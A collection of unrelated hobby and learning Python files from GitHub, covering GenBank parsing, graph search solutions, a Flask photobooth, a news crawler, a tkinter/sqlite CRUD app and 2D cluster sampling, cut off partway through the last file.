{"seq_id":"29846113040","text":"# FUNCTIONS THAT ARE USED TO EXTRACT AND PARSE GENBANK DATA: START\n\n'''\nInput: file path to a genbank file\nOutput: a tuple where the first element contains a list of tuples of the non-coding regions on both strands,\nthe second being a list of the same regions but with each base position as an element in the list.\n\nThe function utilizes various other functions contained in oritelib.\n'''\ndef genbank_to_non_coding_intervals(file_path):\n    \n    # Extract and store genome length\n    length = get_length_genbank(file_path)\n    \n    # Raw coding region start and stop position in sting format.\n    raw_p = raw_positions_strings_from_genbank(file_path)\n\n    # Split into \n    raw_plus, raw_neg = split_strands(raw_p)\n\n    # \n    valid_plus = make_into_valid_pos(raw_plus)\n    valid_neg = make_into_valid_pos(raw_neg)\n\n\n    # Compute the inbetween non coding interval start and stop positions \n    # given the coding interval positions. \n    non_coding_plus = get_non_coding_intervals(valid_plus, length)\n    non_coding_neg = get_non_coding_intervals(valid_neg, length)\n\n\n    true_nc_positions = get_true_nc_positions(non_coding_plus, non_coding_neg)\n    true_nc_intervals = position_list_to_intervals(true_nc_positions)\n\n    return true_nc_intervals, true_nc_positions, non_coding_plus, non_coding_neg\n\n\n\n\n\n\n'''\nInput two lists of non-coding regions.\nOutput set of all true non-coding positions\n\nHELPER FUNCTION 1: Input a list of intervals, output a set of all positions in intervals\n\n'''\ndef interval_list_to_position_set(interval_list):\n    pos_set = set()\n\n    for interval in interval_list:\n        start = interval[0]\n        stop = interval[1]\n\n        interval_range = list(range(start,stop+1))\n        pos_set.update(interval_range)\n\n    return pos_set\n\n\n\n\n'''\nExtracts intervals that are non-coding on both strands\n\nInput: non-coding intervals for each strand\nOutput: common non-coding regions for both strands\n'''\ndef get_true_nc_positions(nc_plus_intervals, nc_neg_intervals):\n    nc_plus_set = interval_list_to_position_set(nc_plus_intervals)\n    nc_neg_set = interval_list_to_position_set(nc_neg_intervals)\n\n    intersection_set = nc_plus_set.intersection(nc_neg_set)\n    intersect_set_list = list(intersection_set)\n    intersect_set_list.sort()\n    return intersect_set_list\n\n\n\n\n'''\nA possition list is a list containing every base that is an X in the genome. \nX here could either be 'coding region' or non'coding region\n\nInput: list of all non-coding positions.\nOutput: List of tuples with non-coding intervals (start and stop values)\n'''\ndef position_list_to_intervals(pos_list):\n\n    crap_bag = []\n\n    current_start = pos_list[0]\n    current_stop = -1\n\n    for i in  range(1, len(pos_list)-1):\n\n        if pos_list[i-1] +1 == pos_list[i] and  pos_list[i]+1!=pos_list[i+1]:\n            current_stop = pos_list[i]\n\n            crap_bag.append((current_start, current_stop))\n\n            #current_start = pos_list[i+1]\n\n        elif pos_list[i-1] +1 != pos_list[i] and  pos_list[i]+1==pos_list[i+1]:\n            current_start = pos_list[i]\n\n        #elif pos_list[i-1] +1 != pos_list[i] and  pos_list[i]+1!=pos_list[i+1]:\n\n\n\n    if pos_list[i+1] == current_start:\n        current_stop = pos_list[i+1]\n        crap_bag.append((current_start, current_stop))\n\n    if pos_list[i]+1==pos_list[i+1]:\n        current_stop = pos_list[i+1]\n        crap_bag.append((current_start,current_stop))\n\n    return crap_bag\n\n\n\n'''\na RANGE LIST IS A LIST OF LISTS. Each sublist contains all the nidex of a \ngenome for a speciific region\nInput: List of tuples with non-coding intervals\nOutput: list of range of each non-coding interval\n'''\ndef interval_list_to_range_list(interval_list):\n\n    crap_list = []\n    for touple in interval_list:\n        x = list(range(touple[0], touple[1]+1))\n        crap_list.append(x)\n\n    return crap_list\n\n\n'''\nInput: A file path for a genbank file\nOutput: A list of strings that represent the start and stop position for each feature in \ngenebank file. \n'''\n\ndef raw_positions_strings_from_genbank(file_path):\n\n    recs = [rec for rec in SeqIO.parse(file_path, \"genbank\")]\n\n    raw_positions_str = []\n\n    for rec in recs:\n        feats = [feat for feat in rec.features if feat.type == \"CDS\"]\n        for feat in feats:\n            x = str((feat.location))\n            raw_positions_str.append(x)\n\n\n    return raw_positions_str\n\n\n\n'''\nInput: A raw position list of strings raw_positions_strings_from_genbank()\nouput: Returns same thing as in put put each list has strand specific \n'''\ndef split_strands(raw_pos_list):\n    plus_pos = []\n    neg_pos  = []\n\n    for row in raw_pos_list:\n\n\n        if row.find('+') == -1:\n            neg_pos.append(row)\n\n        if row.find('-') == -1:\n            plus_pos.append(row)\n\n    return plus_pos, neg_pos\n\n\n\n'''\nBasically, return back a list with the same contents but case it in a tuple \ninstead of a string\n'''\n\ndef make_into_valid_pos(strand_pos_raw):\n\n    interval_list = []\n\n    for row in strand_pos_raw:\n        m = re.findall(r'\\d+', row)\n\n\n        start_p = int(m[0])\n        stop_p = int(m[len(m)-1])\n        interval_list.append((start_p, stop_p))\n\n    return interval_list\n\n\n'''\nFor a given list of coding interval tuples. Find the 'in-between' non\ncoding regions intervals and return it. \n'''\ndef get_non_coding_intervals(coding_intervals, length):\n    non_coding_intervals = []\n\n\n    if coding_intervals[0][0] != 0:\n\n        ith_non_coding_start = 0\n        ith_non_coding_stop = coding_intervals[0][0]-1\n\n        non_coding_intervals.append((ith_non_coding_start, ith_non_coding_stop))\n\n\n    for i in range(1, len(coding_intervals)):\n        ith_non_coding_start = coding_intervals[i-1][1]+1\n        ith_non_coding_stop = coding_intervals[i][0]-1\n\n        if ith_non_coding_stop-ith_non_coding_start>1:\n            non_coding_intervals.append((ith_non_coding_start, ith_non_coding_stop))\n\n    if coding_intervals[i][1] != length:\n        non_coding_start = coding_intervals[i][1]+1\n        non_coding_stop = length-1\n        non_coding_intervals.append((non_coding_start, non_coding_stop))\n    \n    return non_coding_intervals\n\n\n\n\n'''\nReturns the length of the organism genome 'contained' in the genbank file\n\ninput: \n    Genbank path (string)\noutput:\n    Genome length/Size (int)\n'''\ndef get_length_genbank(file_path):\n    recs = [rec for rec in SeqIO.parse(file_path, \"genbank\")]\n    for rec in recs:\n        length = len(rec.seq)\n    return length\n\n\n\n\n'''\nGiven a non goiding interval with a start and stop, and a sequences.\nThis extracts the subsqeuence sequnces in said interval and returns this. \n'''\ndef extract_seq_from_non_coding_intervals(non_coding_intervals, seq):\n\n    non_coding_seqs = []\n\n    for interval in non_coding_intervals:\n\n        non_coding_seqs.append(seq[interval[0]:interval[1]])\n\n    return non_coding_seqs\n\n","repo_name":"MohammedAlJaff/orite","sub_path":"orite_folder/genbank_functions.py","file_name":"genbank_functions.py","file_ext":"py","file_size_in_byte":6822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"15752657032","text":"from queue import PriorityQueue\nfor _ in range(int(input())):\n    n, e = map(int, input().split())\n    edges = [set(i for i in range(n)) for _ in range(n)]\n    for _ in range(e):\n        l, r = map(lambda e: int(e)-1, input().split())\n        edges[l].remove(r)\n        edges[r].remove(l)\n    s = int(input())-1\n    dist = [float('inf')]*n\n    closed = [False]*n\n    q = PriorityQueue()\n    q.put((0, s))\n    while not(q.empty()):\n        distTraveled, parent = q.get()\n        if(closed[parent]==True):\n            continue\n        closed[parent]=True\n        for child in edges[parent]:\n            nxtdist = distTraveled+1\n            if(dist[child] > nxtdist):\n                dist[child] = nxtdist\n                q.put((dist[child], child))\n    for i in range(n):\n        if(i!=s):\n            print(dist[i],end=' ')\n    print(\"\")\n\n# ---------------------\ntests = int(input())\n\nfor _ in range(tests):\n    [n, e] = [int(i) for i in input().split(\" \")]\n    dists = [1] * n\n    roads = {}\n    for _ in range(e):\n        [n1, n2] = [int(i) for i in input().split(\" \")]\n        if n1 not in roads:\n            roads[n1] = set()\n        if n2 not in roads:\n            roads[n2] = set()\n        roads[n1].add(n2)\n        roads[n2].add(n1)\n    start_loc = int(input())\n    not_visited = roads[start_loc] if start_loc in roads else set()\n    newly_visited = set()\n    curr_dist = 2\n    while len(not_visited) > 0:\n        for i in not_visited:\n            diff = not_visited | roads[i]\n            if len(diff) < n:\n                dists[i-1] = curr_dist\n                newly_visited.add(i)\n        not_visited = not_visited - newly_visited\n        newly_visited = set()\n        curr_dist += 1\n    del dists[start_loc-1]\n    print(\" \".join(str(i) for i in dists))","repo_name":"Shubham20091999/Problems","sub_path":"HackerRank/(-) Rust & Murderer.py","file_name":"(-) Rust & Murderer.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"30737129963","text":"import csv\nimport time\n\ndef make_link(G, node1, node2):\n    G[node1] ={}\n    (G[node1])[node2] =1\n    G[node2] ={}\n    (G[node2])[node1] =1\n    return G\n\n\"\"\"\ncreates an empty dictionary G, then iterates through each line of the CSV file and adds the corresponding \nedge to G using the make_link function.\nreturns a dictionary representing the graph\n\"\"\"\ndef read_graph(filename):\n    # reads an undirected graph in csv format. Each line is an edge\n    tsv =csv.reader(open(filename), delimiter='\\t')\n    G = {}\n    for(node1, node2) in tsv: make_link(G, node1,node2)\n    return G\n#read the marvel comics graph\nmarvelG =read_graph(\"uniq_edges.tsv\")\n\n\n\"\"\"\nThe path function takes a graph G and two nodes v1 and v2, and returns the shortest path between the two \nnodes using a BFS algorithm. \n\nIt initializes a dictionary distance_from_start to store the distance from v1 to each node visited, and a\nlist open_list containing the nodes to be visited.\n \nIt also initializes the distance from v1 to itself as 0, and adds v1 to the open list. It then enters a\nloop that continues until open_list is empty.\n\nIn each iteration of the loop, the first node current in open_list is removed, and the distance from v1 \nto each of its neighbors is calculated and stored in distance_from_start. \n\nIf a neighbor is the target node v2, the function returns the path from v1 to v2. Otherwise, the neighbor\nis added to open_list to be visited later.\n\nIf the target node v2 is not found, the function returns False.\nThe code sets the variables from_node and to_node to the values \"A\" and \"ZZZAX\", respectively, and then \ncalls the path function with the marvelG graph and the two nodes as arguments. \n\nThe resulting shortest path is printed to the console.\n\n\"\"\"\ndef path(G, v1, v2):\n    distance_from_start ={}\n    open_list =[v1]\n    distance_from_start[v1] =[v1]\n    # path_from_start[v1] =[v1]\n    while len(open_list) > 0:\n        current = open_list[0]\n        del open_list[0]\n        for neighbor in G[current].keys():\n            if neighbor not in distance_from_start:\n                distance_from_start[neighbor] =distance_from_start[current] + [neighbor]\n                if neighbor == v2:\n                    return distance_from_start[v2]\n                open_list.append(neighbor)\n    return False\nfrom_node =\"A\"\nto_node=\"ZZZAX\"\nprint(path(marvelG,from_node,to_node))\n\n\"\"\"\ncode provided in the above won't work with the sample data provided, as the nodes in the CSV \nfile are letters, not integers. To make it work with letters, you can modify the code as follows\n\"\"\"\ndef make_link(G, node1, node2):\n    G[node1] = {}\n    G[node1][node2] = 1\n    G[node2] = {}\n    G[node2][node1] = 1\n    return G\n\ndef read_graph(filename):\n    # reads an undirected graph in csv format. Each line is an edge\n    with open(filename, newline='') as csvfile:\n        reader = csv.reader(csvfile)\n        next(reader)  # skip header\n        G = {}\n        for row in reader:\n            node1, node2 = row\n            make_link(G, node1, node2)\n        return G\n\n# read the graph from the CSV file\nG = read_graph('uniq_edges.csv')\n\n# print the graph\nprint(G)\n\n","repo_name":"Chemokoren/Algorithms-1","sub_path":"BreadthFirstSearch.py","file_name":"BreadthFirstSearch.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"9748461367","text":"import torch as tc\n\ndef play_with_env(env):\n\treturns=[]\n\tfor i in range(100):\n\t\tprint(f\"=============game{i}==============\")\n\t\tG=0\n\t\tenv_state = env.reset()\n\t\tterminal = False\n\t\twhile(not terminal):\n\t\t\tgoal, wall_grid, pos, t = env_state\n\t\t\t# a = tc.tensor(tc.where(wall_grid,1,0))\n\t\t\tobs = tc.where(wall_grid,1,0)\n\t\t\tobs[pos[0] ,pos[1] ] = 8\n\t\t\tobs[goal[0],goal[1]] = 4\n\t\t\tprint(f\"{obs} current pos: {pos.numpy()}, \\\n\tgoal: {goal.numpy()} acc_reward: {G}\")\n\t\t\tkey = input('action 0:pass,w:up,a:left,s:down,d:right     ')\n\t\t\tif key == 'w':\t\taction = 1\n\t\t\telif key == 's':\taction = 3\n\t\t\telif key == 'a':\taction = 2\n\t\t\telif key == 'd':\taction = 4\n\t\t\telse:\taction = 0\n\t\t\tenv_state, obs, reward, terminal, _ = env.step( action, env_state)\n\t\t\t\n\t\t\tG+=reward\n\t\treturns+=[G]\n\tavg_returns  = tc.mean(tc.tensor(returns))\n\treturn avg_returns","repo_name":"jaco267/Trajectory_Transformer_in_maze","sub_path":"maze/env_maze/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"28438869191","text":"from flask import (\n    Flask,\n    render_template,\n    Response,\n    redirect,\n    url_for,\n    make_response,\n    jsonify,\n)\nimport os\nimport sys\nfrom datetime import datetime\nfrom time import sleep\nimport glob\nfrom threading import Thread\n\n\nfrom .image import Booth\nfrom .camera import Camera\n\napp = Flask(__name__)\n\nos.makedirs(\"images\", exist_ok=True)\ncam = Camera()\ncurrent_text = \"init\"\ncapture_in_progress = False\n\n\n@app.route(\"/\")\ndef index():\n    global current_text\n    current_text = '<h1><a href=\"/capture\">start</a></h1>'\n    return render_template(\"index.html\")\n\n\n@app.route(\"/capture\")\ndef capture():\n    if not capture_in_progress:\n        th = Thread(target=run_capture, args=())\n        th.start()\n    return render_template(\"index.html\")\n\n\n@app.route(\"/status\")\ndef status():\n    global current_text\n    print(current_text)\n    return current_text\n\n\n@app.route(\"/print\")\ndef show_print_screen():\n    global current_text\n    current_text = '<h1>printing!!!</h1><h1><a href=\"/capture\">restart</a></h1>'\n    return render_template(\"index.html\")\n\n\ndef run_capture():\n    global current_text\n    global capture_in_progress\n    capture_in_progress = True\n    timestamp = datetime.now().strftime(\"%Y%m%dT%H%M%S\")\n    image_dir = os.path.join(\"images\", timestamp, \"raw\")\n    os.makedirs(image_dir)\n    current_text = \"<h1>get ready!</h1>\"\n    sleep(3)\n    for _ in range(4):\n        for i in range(3, 0, -1):\n            current_text = f\"<h1>{str(i)}...</h1>\"\n            sleep(1)\n        current_text = \"<h1>smile!!!</h1>(downloading image...)\"\n        sleep(1)\n        cam.capture()\n    cam.download_n_most_recent_images(image_dir)\n    upload_and_print()\n    capture_in_progress = False\n\n\ndef upload_and_print():\n    global current_text\n    image_dir = max(glob.glob(\"images/*T*\"))\n    b = Booth(image_dir)\n    current_text = \"processing...\"\n    b.run()\n    current_text = \"done\"\n    current_text = '<h1>printing!!!</h1><h1><a href=\"/capture\">restart</a></h1>'\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n","repo_name":"xanwich/photobooth","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"16376971067","text":"import os\n\n\ndef test_list_directory():\n    for i in os.listdir(\"..\"):\n        if os.path.isdir(i):\n            print(f\"{i} is directory\")\n        else:\n            print(f\"{i} is file\")\n\n\ndef test_walk():\n    for root, dirs, files in os.walk(\"../\"):\n        for i in ([os.path.join(root, f) for f in files]):\n            print(i)\n        for i in ([os.path.join(root, d) for d in dirs]):\n            print(i)\n","repo_name":"hatlonely/notebook","sub_path":"python/syntax/code/test_file.py","file_name":"test_file.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"30884151823","text":"from .dclasses import Article\nfrom bs4 import BeautifulSoup\nfrom multiprocessing import Pool\nfrom datetime import datetime\nfrom dateutil.parser import isoparse\nfrom functools import partial\nimport time\nimport requests\nimport re\n\nclass LackOfPages(Exception):\n    pass\n\nclass WebCrawler:\n    def __init__(self, categories, pool_length=10):\n        self.categories = categories\n        self.pool_length = pool_length\n        self.baseURL = \"https://www.volzsky.ru\"\n\n    def __get_url_markdown(self, url, params={}):\n        markdown = requests.get(url, params=params)\n\n        if not markdown.text or markdown.text.isspace():\n            raise LackOfPages\n\n        time.sleep(1)\n\n        return markdown.text\n\n    # page_type\n    # 0 - cat\n    # 1 - art\n    def __get_page(self, category_index, page_index):\n        page_url = \"https://www.volzsky.ru/index.php\"\n        \n        page_params = {\n            \"categ\": category_index,\n            \"st\": page_index\n        }\n\n        # page_params = {\n        #     \"wx2\": page_index\n        # }\n\n        # if (page_index == 1):\n        #     page_url = self.baseURL + f\"/index.php?wx=16&categ={category_index}\"\n        #     page_params = {}\n\n        return self.__get_url_markdown(page_url, params=page_params)\n\n    def __gen_article_object(self, article_url, category_title):\n        article_markdown = self.__get_url_markdown(article_url)\n        article_soup = BeautifulSoup(article_markdown, \"html.parser\")\n\n        date_raw = article_soup.select_one(\"meta[itemprop='datePublished']\")[\"content\"]\n        title_raw = article_soup.select_one(\"h1#title_news\").get_text(strip=True)\n\n        comments_count_raw = article_soup.select(\"div#commetnprint > div\")\n        if len(comments_count_raw) == 0:\n            comments_count_raw = 0\n        else:\n            comments_str = comments_count_raw[0].get_text(strip=True)\n            comments_count_raw = re.search(r\"\\d+\", comments_str).group(0)\n\n        text_raw_wrapper = article_soup.new_tag(\"div\")\n        text_raw = article_soup.select(\"div#bt_center p\")\n        for p in text_raw:\n            text_raw_wrapper.append(p)\n        text_raw = text_raw_wrapper\n\n        main_photo_raw = article_soup.select_one(\"div#mainfoto img\")[\"src\"]\n        main_photo_link = self.baseURL + \"/\" + main_photo_raw\n        # main_photo_link = re.search(r\"(?<=url\\().*(?=\\))\", main_photo_raw).group(0)\n\n        # photos_raw = article_soup.select(\"div.n-text img\")\n        # photos_links = [x[\"src\"] for x in photos_raw]\n        photos_links = []\n        videos_links = []\n\n        # videos_raw = article_soup.select(\"div.n-text iframe\")\n        # videos_links = [x[\"src\"] for x in videos_raw]\n\n        return Article(\n            date            =   isoparse(date_raw), # Преобразуем дату в виде строки в Datetime\n            link            =   article_url,\n            title           =   title_raw,\n            category        =   category_title,\n            comments_count  =   int(comments_count_raw),\n            text            =   text_raw.get_text(),\n            photos          =   [main_photo_link] + photos_links,\n            videos          =   videos_links\n        )\n\n    def get_news_from_page(self, category, current_page_index):\n        try:\n            news_page_markdown = self.__get_page(category_index=category[\"index\"], page_index=current_page_index)\n        except LackOfPages:\n            print(\"No pages left\")\n        except StopIteration:\n            print(\"На сайте нет такой категории, либо введены некорректные данные\")\n\n        news_soup = BeautifulSoup(news_page_markdown, \"html.parser\")\n        articles_links_raw = news_soup.select(\"\"\"div.btc_h a\"\"\")\n        articles_links = [self.baseURL + \"/\" + x[\"href\"] for x in articles_links_raw]\n\n        articles = []\n\n        for a in articles_links[:8]:\n            articles.append(self.__gen_article_object(a, category_title=category[\"title\"]))\n\n        return articles\n\n    def crawl(self, stopittervalue=-1):\n        for cat in self.categories:\n            current_page_index = 0\n            while current_page_index < stopittervalue:\n                print(f\"Crawl in {cat['path']} at {current_page_index}\")\n                yield self.get_news_from_page(cat, current_page_index)\n\n                current_page_index += 1\n\n    # def crawl(self, stopittervalue=-1):\n    #     for cat in self.categories:\n    #         current_page_index = 1\n    #         while current_page_index < stopittervalue or stopittervalue == -1:\n    #             print(f\"Crawl in {cat['path']} at {current_page_index}\")\n    #             l = self.pool_length\n    #             if stopittervalue != -1 and current_page_index + self.pool_length >= stopittervalue:\n    #                 l = stopittervalue - current_page_index\n                \n    #             pages_indexes = [current_page_index + i for i in range(l)] #iterable\n    #             get_news_func = partial(self.get_news_from_page, cat)\n    #             with Pool(l) as p:\n    #                 res_arr = p.map(get_news_func, pages_indexes) # Получаем массив ответов, длинна которого равна pages_indexes\n    #                 for r in res_arr:\n    #                     yield r # возвращаем массив статей на странице\n\n    #             current_page_index += l","repo_name":"DeathMot1on/KL-Parser-Vlz","sub_path":"addons/webcrawler.py","file_name":"webcrawler.py","file_ext":"py","file_size_in_byte":5407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"15452539203","text":"from tkinter import *\r\nfrom tkinter import messagebox\r\nimport sqlite3\r\ndef conexionBBDD():\r\n    miConexion= sqlite3.connect(\"Super\")\r\n    micursor= miConexion.cursor()\r\n    try:\r\n        micursor.execute('''Create Table super(ID Integer primary key autoincrement,Nombre varchar(50),\r\n        Sexo char(2),Poder varchar(50))''')\r\n        messagebox.showinfo(\"BBDD\",\"Base de datos creado\")\r\n    except:\r\n        messagebox.showwarning(\"ATENCION\",\"La base de datos ya ha sido creado\")\r\ndef salir():\r\n    valor=messagebox.showwarning(\"¡ATENCION!\",\"Deseas salir\")\r\n    if valor == \"yes\":\r\n        root.destroy()\r\ndef limpiar():\r\n    miID.set(\"\")\r\n    miNombre.set(\"\")\r\n    miPoder.set(\"\")\r\n    miSexo.set(\"\")\r\ndef eliminar():\r\n    try:\r\n        miConexion=sqlite3.connect(\"Super\")\r\n        micursor=miConexion.cursor()\r\n        micursor.execute(\"Delete From super where ID=\"+ miID.get())\r\n    except:\r\n        messagebox.showinfo(\"BBDD\",\"Ha ocurrido un error\")\r\ndef leer():\r\n    miConexion =sqlite3.connect(\"Super\")\r\n    micursor=miConexion.cursor()\r\n    micursor.execute(\"Select * From super where ID=\"+ miID.get())\r\n    super=micursor.fetchall()\r\n    for Super in super:\r\n        miID.set(Super[0])\r\n        miNombre.set(Super[1])\r\n        miSexo.set(Super[2])\r\n        miPoder.set(Super[3])\r\n        miConexion.commit()\r\n    \r\ndef insertar():\r\n    miConexion=sqlite3.connect(\"Super\")\r\n    micursor=miConexion.cursor()\r\n    micursor.execute(\"INSERT INTO super values(Null,?,?,?)\",(\r\n    miNombre.get(),miSexo.get(),miPoder.get()))\r\n    miConexion.commit()\r\n    messagebox.showinfo(\"BBDD\",\"Registro insertado con exito\")\r\n    #pass\r\ndef actualizar():\r\n    miConexion=sqlite3.connect(\"Super\")\r\n    micursor=miConexion.cursor()\r\n    micursor.execute(\"Update super set Nombre=?,Sexo=?,Poder=? where ID=?\",(\r\n    miNombre.get(),miSexo.get(),miPoder.get(),miID.get()))\r\n    miConexion.commit()\r\n    messagebox.showinfo(\"BBDD\",\"Registro Actualizado\")\r\nroot=Tk()\r\nroot.title(\"Registro de superheroes\")\r\nroot.iconbitmap(\"logo.ico\")\r\nbarramenu=Menu(root)\r\nroot.config(menu=barramenu,width=300,height=300)\r\nbbddmenu=Menu(barramenu,tearoff=0)\r\nbbddmenu.add_command(label=\"Conectar\",command=conexionBBDD)\r\nbbddmenu.add_command(label=\"salir\",command=salir)\r\n\r\nborrarmenu=Menu(barramenu,tearoff=0)\r\nborrarmenu.add_command(label=\"Borrar campos\",command=limpiar)\r\n\r\ncrudMenu=Menu(barramenu,tearoff=0)\r\ncrudMenu.add_command(label=\"Crear\",command=insertar)\r\ncrudMenu.add_command(label=\"Leer\",command=leer)\r\ncrudMenu.add_command(label=\"Actualizar\",command=actualizar)\r\ncrudMenu.add_command(label=\"Elimnar\",command=eliminar)\r\n\r\nbarramenu.add_cascade(label=\"BBDD\",menu=bbddmenu)\r\nbarramenu.add_cascade(label=\"Borrar\",menu=borrarmenu)\r\nbarramenu.add_cascade(label=\"CRUD\",menu=crudMenu)\r\nmiFrame=Frame(root)\r\nmiFrame.pack()\r\n\r\nmiID=StringVar()\r\nmiNombre=StringVar()\r\nmiSexo=StringVar()\r\nmiPoder=StringVar()\r\n\r\nCuadroID=Entry(miFrame,textvariable=miID)\r\nCuadroID.grid(row=0,column=1,padx=10,pady=10)\r\n\r\nCuadroNombre=Entry(miFrame,textvariable=miNombre)\r\nCuadroNombre.grid(row=1,column=1,padx=10,pady=10)\r\n\r\nCuadroSexo=Entry(miFrame,textvariable=miSexo)\r\nCuadroSexo.grid(row=2,column=1,padx=10,pady=10)\r\n\r\nCuadroPoder=Entry(miFrame,textvariable=miPoder)\r\nCuadroPoder.grid(row=3,column=1,padx=10,pady=10)\r\n#Labels\r\nidlabel=Label(miFrame,text=\"ID:\")\r\nidlabel.grid(row=0,column=0,sticky=\"e\",padx=10,pady=10)\r\n\r\nnomlabel=Label(miFrame,text=\"Nombre:\")\r\nnomlabel.grid(row=1,column=0,sticky=\"e\",padx=10,pady=10)\r\n\r\nsexolabel=Label(miFrame,text=\"Sexo:\")\r\nsexolabel.grid(row=2,column=0,sticky=\"e\",padx=10,pady=10)\r\n\r\npoderlabel=Label(miFrame,text=\"Poder:\")\r\npoderlabel.grid(row=3,column=0,sticky=\"e\",padx=10,pady=10)\r\n#Botones\r\nmiFrame2=Frame(root)\r\nmiFrame2.pack()\r\nbotonCrear=Button(miFrame2,text=\"Crear\",command=insertar)\r\nbotonCrear.grid(row=1,column=0,sticky=\"e\",padx=10,pady=10)\r\n\r\nbotonLeer=Button(miFrame2,text=\"Leer\",command=leer)\r\nbotonLeer.grid(row=1,column=1,sticky=\"e\",padx=10,pady=10)\r\n\r\nbotonEliminar=Button(miFrame2,text=\"Eliminar\",command=eliminar)\r\nbotonEliminar.grid(row=1,column=2,sticky=\"e\",padx=10,pady=10)\r\n\r\nbotonActualizar=Button(miFrame2,text=\"Actualizar\",command=actualizar)\r\nbotonActualizar.grid(row=1,column=3,sticky=\"e\",padx=10,pady=10)\r\nroot.mainloop()","repo_name":"MahonriM/CRUDSuperheroes","sub_path":"CRUDSuper.py","file_name":"CRUDSuper.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"24506401322","text":"import numpy as np\nimport numbers\nfrom collections.abc import Iterable\nimport scipy.spatial as spatial\nfrom wse import weighted_sample_elimination\n\n# https://github.com/scikit-learn/scikit-learn/blob/37ac6788c/sklearn/datasets/_samples_generator.py#L792\n\n\ndef gen_cluster_normal(n_samples=[100], centers=None, cluster_std=1.0, center_box=(-10.0, 10.0), return_centers=True, wse=False, wse_p=1):\n    \"\"\" \n    Generate normally distributed clusters of 2D points\n\n    Args:\n\n        n_samples (list, optional): Default=[100]\n            List containing the number of samples per cluster.\n\n        centers (None or list, optional): Default=None.\n            List containing the coordinates of the centers of each cluster.\n\n        cluster_std (float, optional):  Default=1.0.\n            List containing the standard deviation for each cluster.\n\n        center_box (tuple, optional):  Default=(-10.0, 10.0).\n            Range in which the centers of the clusters can be genearted.\n\n        return_centers (bool, optional): Default=True.\n            If true the coordinates of the centers of the clusters will be returned. \n\n        wse (bool, optional): Default=False\n            If true weighted sample elimination will be applied to the generated samples.\n\n        wse_p (float, optional): Default=1\n            The percentage of samples that, if wse is applied (==> wse = True) will have weight zero when returned.\n\n    Raises:\n        ValueError: _description_\n        ValueError: _description_\n        ValueError: _description_\n\n    Returns:\n\n        XY: ndarray of ndarrays representing the clusters and their points\n        (optional) centers: the centers of each cluster\n    \"\"\"\n\n    assert isinstance(n_samples, (list, np.ndarray)\n                      ), \"Parameter `n_samples` must be list or ndarray\"\n\n    # Uncomment for reproducible results\n    rng = np.random.default_rng()\n\n    # n_samples is an array indicating the numbers of samples per cluster.\n    n_centers = len(n_samples)\n    if centers is None:\n        centers = rng.uniform(\n            center_box[0], center_box[1], size=(n_centers, 2)\n        )\n    try:\n        assert len(centers) == n_centers\n    except TypeError as e:\n        raise ValueError(\n            \"Parameter `centers` must be array-like. Got {!r} instead\".format(\n                centers\n            )\n        ) from e\n    except AssertionError as e:\n        raise ValueError(\n            \"Length of `n_samples` not consistent with number of \"\n            f\"centers. Got n_samples = {n_samples} and centers = {centers}\"\n        ) from e\n\n    # stds: if cluster_std is given as list, it must be consistent\n    # with the n_centers\n    if hasattr(cluster_std, \"__len__\") and len(cluster_std) != n_centers:\n        raise ValueError(\n            \"Length of `clusters_std` not consistent with \"\n            \"number of centers. Got centers = {} \"\n            \"and cluster_std = {}\".format(centers, cluster_std)\n        )\n\n    # If the cluster standard deviation is fixed for all the clusters create an array of the same\n    # value repeated len(centers) times i.e. the number of clusters.\n    if isinstance(cluster_std, numbers.Real):\n        cluster_std = np.full(len(centers), cluster_std)\n\n    XY = []\n    # y = []\n\n    # if isinstance(n_samples, Iterable):\n    n_samples_per_center = n_samples\n\n    for i in range(len(cluster_std)):\n        n = n_samples_per_center[i]\n        std = cluster_std[i]\n        # Generate array of size n * n_features\n        # where n is the number of points and n_features is the number if dimensions in the space (2D,3D,4D,...)\n        xy = rng.normal(loc=centers[i], scale=std, size=(n, 2))\n        if wse:\n            xy = weighted_sample_elimination(xy, wse_p)\n        XY.append(xy)\n\n    if return_centers:\n        return XY, centers\n    return XY\n\n\ndef gen_cluster_uniform(samples=[100], centers=None, center_box=(-5, 5), min_size=0.5, max_size=5, return_centers=True, wse=False, wse_p=1):\n    \"\"\"\n    Generate uniformly distributed clusters of 2D points enclosed in an ellipse\n\n    Args:\n\n        samples (array-like): default=[100]\n            the number of samples per cluster\n\n        centers (None or array-like): default=None\n            the coordinates of centers of the clusters\n\n        center_box (tuple): default=(-5, 5)\n            the bounding box for each cluster center\n\n        min_size (number or array-like): default=0.5\n            the minimum width or height of the ellipse\n            if only one number is specified all the clusters will follow this parameter\n\n        max_size (number or array-like): default=5\n            the maximum width or height of the ellipse\n            if only one number is specified all the clusters will follow this parameter\n\n        (return_centers : boolean, default=True\n        If True, return the coordinates of the centers)\n\n        wse: (boolean, optional), default=False\n            If True, the weighted sample elimination algorithm will be applied to the samples\n\n        wse_p (float, optional): default=1\n            The percentage of samples that, if wse is applied (==> wse = True) will have weight zero when returned.\n\n    Returns:\n\n        XY (ndarray of ndarray(s)):\n            Len(XY) == len(samples)\n            the samples generated and filtered\n\n        centers (list of unknown):\n            centers of clusters, \n            the inner object depends on user input if centers != None\n\n        angles (list of float): \n            the angles representing the tilt of each ellipse\n\n        bboxes (list of tuples): \n            half width and half height of the bounding box for each ellipse\n\n        ellipses (list of tuples): \n            radius of x and radius of y axis of each ellipse\n\n\n    TODO : decide if WSE should be applied before or after filtering the points\n    